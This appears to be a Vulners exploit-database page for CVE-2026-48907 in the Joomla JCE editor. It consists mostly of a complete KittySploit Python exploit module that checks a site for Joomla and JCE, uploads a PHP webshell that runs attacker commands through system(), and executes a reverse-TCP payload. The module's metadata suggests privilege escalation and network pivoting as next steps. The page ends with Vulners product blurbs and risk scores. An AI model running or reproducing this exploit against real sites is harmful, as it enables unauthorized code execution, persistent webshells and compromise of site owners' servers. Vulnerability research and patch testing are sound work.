Joomla JCE < 2.9.99.5 - Unauthenticated RCE (CVE-2026-48907)
| Reporter | Title | Published | Views | Family All 73 |
|---|---|---|---|---|
| Exploit for CVE-2026-48907 | 9 Jun 202616:30 | – | githubexploit | |
| COM_JCE_VANDA | 29 Jun 202611:00 | – | githubexploit | |
| Exploit for Improper Access Control in Widgetfactorylimited Jce | 22 Jun 202618:31 | – | githubexploit | |
| Exploit for CVE-2026-48907 | 11 Jun 202613:14 | – | githubexploit | |
| Exploit for Improper Access Control in Widgetfactorylimited Jce | 29 Jun 202606:36 | – | githubexploit | |
| Exploit for CVE-2026-48907 | 12 Jun 202609:22 | – | githubexploit | |
| ProofCMS- | 29 Sep 202616:18 | – | githubexploit | |
| Exploit for Improper Access Control in Widgetfactorylimited Jce | 27 Jun 202604:48 | – | githubexploit | |
| Exploit for Improper Access Control in Widgetfactorylimited Jce | 29 Jun 202621:14 | – | githubexploit | |
| Exploit for Improper Access Control in Widgetfactorylimited Jce | 1 Jul 202614:05 | – | githubexploit |
10
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
from kittysploit import *
from lib.protocols.http.http_client import Http_client
from lib.protocols.http.joomla_probe import JCE_PATCHED_VERSION, Joomla
class Module(Exploit, Http_client, Joomla):
__info__ = {
"name": "Joomla JCE < 2.9.99.5 - Unauthenticated RCE (CVE-2026-48907)",
"description": (
"Exploits CVE-2026-48907 in Joomla JCE Editor (< 2.9.99.5): unauthenticated "
"arbitrary file upload via profile import or JCE browser chain, followed by "
"PHP webshell execution."
),
"author": ["KittySploit Team"],
"cve": ["CVE-2026-48907"],
"arch": [Arch.PHP],
"platform": Platform.PHP,
"category": "singles",
"payload": {
"default": "payloads/singles/cmd/php/reverse_tcp",
"arch": Arch.PHP,
"platform": Platform.PHP,
"category": "singles",
},
"references": [
"https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-48907",
],
"tags": ["joomla", "jce", "file-upload", "rce", "cve-2026-48907"],
'agent': {
'risk': 'intrusive',
'effects': ['active_exploitation'],
'expected_requests': 10,
'reversible': False,
'approval_required': True,
'produces': ['exploit_paths', 'risk_signals'],
'cost': 1.5,
'noise': 0.5,
'value': 1.0,
'requires': {'min_endpoints': 0,
'min_params': 0,
'tech_hints_any': ['joomla', 'php'],
'tech_hints_all': [],
'specializations_any': [],
'risk_signals_any': [],
'auth_session': False,
'capabilities_any': [],
'capabilities_all': [],
'confidence_min': {},
'confidence_min_any': {'joomla': 0.3, 'php': 0.3},
'endpoint_pattern_any': [],
'param_any': [],
'api_surface_ready': False},
'chain': {'produces_capabilities': [{'capability': 'rce', 'from_detail': ''},
{'capability': 'shell', 'from_detail': ''}],
'consumes_capabilities': [],
'option_bindings': {},
'suggested_followups': ['post/shell/multi/gather/privesc_suggester',
'post/shell/multi/manage/pivot_autoroute']},
},
}
cmd_param = OptString("cmd", "GET/POST parameter used to invoke the uploaded webshell", required=False)
def _build_shell(self) -> str:
payload = self.payload
if isinstance(payload, bytes):
payload = payload.decode("utf-8", errors="replace")
payload = str(payload or "").strip()
param = str(self.cmd_param or "cmd").strip() or "cmd"
return (
'<?php '
f'if(isset($_REQUEST["{param}"])){{'
f'@system($_REQUEST["{param}"]);'
"}}"
f'else{{echo "{param}";}}'
" ?>"
)
def check(self):
joomla = self.probe_joomla()
if not joomla.get("found"):
return {"vulnerable": False, "reason": "Joomla not detected", "confidence": "low"}
jce = self.probe_jce()
if not jce.get("found"):
return {"vulnerable": False, "reason": "JCE not detected", "confidence": "low"}
jce_version = jce.get("version")
if jce_version and self.jce_is_patched(jce_version):
return {
"vulnerable": False,
"reason": f"JCE {jce_version} >= {JCE_PATCHED_VERSION} (patched)",
"confidence": "high",
}
token = self.fetch_csrf_token()
if not token:
return {
"vulnerable": False,
"reason": "No Joomla CSRF token — may be patched or unreachable",
"confidence": "medium",
}
confidence = "high" if jce_version else "medium"
reason = (
f"Joomla + JCE detected (JCE {jce_version or 'unknown'}). "
f"Likely vulnerable to CVE-2026-48907 if < {JCE_PATCHED_VERSION}."
)
return {"vulnerable": True, "reason": reason, "confidence": confidence}
def _execute_via_shell(self, shell_path: str) -> bool:
param = str(self.cmd_param or "cmd").strip() or "cmd"
payload = self.payload
if isinstance(payload, bytes):
payload = payload.decode("utf-8", errors="replace")
command = str(payload or "").strip()
if not command:
print_error("No payload/command configured")
return False
response = self.http_request(
method="GET",
path=shell_path,
params={param: command},
timeout=15,
)
return bool(response and response.status_code == 200)
def run(self):
try:
print_status("CVE-2026-48907 — Joomla JCE unauthenticated RCE")
print_status(f"Target: {self.target}:{self.port}")
check = self.check()
if not check.get("vulnerable"):
print_error(check.get("reason", "Target does not appear vulnerable"))
self.not_vulnerable()
return False
print_success(check.get("reason", "Target appears vulnerable"))
token = self.fetch_csrf_token()
if not token:
print_error("Failed to obtain Joomla CSRF token")
return False
shell_source = self._build_shell()
print_status("Uploading PHP webshell via JCE...")
uploaded = self.jce_upload_php(token, shell_source)
if not uploaded:
print_error("File upload failed — target may be patched or hardened")
self.not_vulnerable()
return False
shell_path = uploaded["path"]
print_success(
f"Shell uploaded via {uploaded['vector']}: {shell_path} "
f"({uploaded['filename']})"
)
verify = self.joomla_http_get(shell_path, timeout=10)
if not verify or verify.status_code != 200:
print_warning("Shell path not directly reachable; attempting payload anyway")
print_status("Executing payload via uploaded shell...")
if self._execute_via_shell(shell_path):
print_success("Exploit finished — verify session/handler for callback")
self.vulnerable()
return True
print_error("Payload execution did not return HTTP 200")
print_warning(f"Shell may still be present at {shell_path} — manual cleanup required")
self.vulnerable()
return False
except Exception as exc:
print_error(f"Exploitation failed: {exc}")
return False
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
10 Jul 2026 11:31Current
8.9High risk
Vulners AI Score8.9
CVSS 3.19.8
CVSS 410
EPSS0.1619
SSVC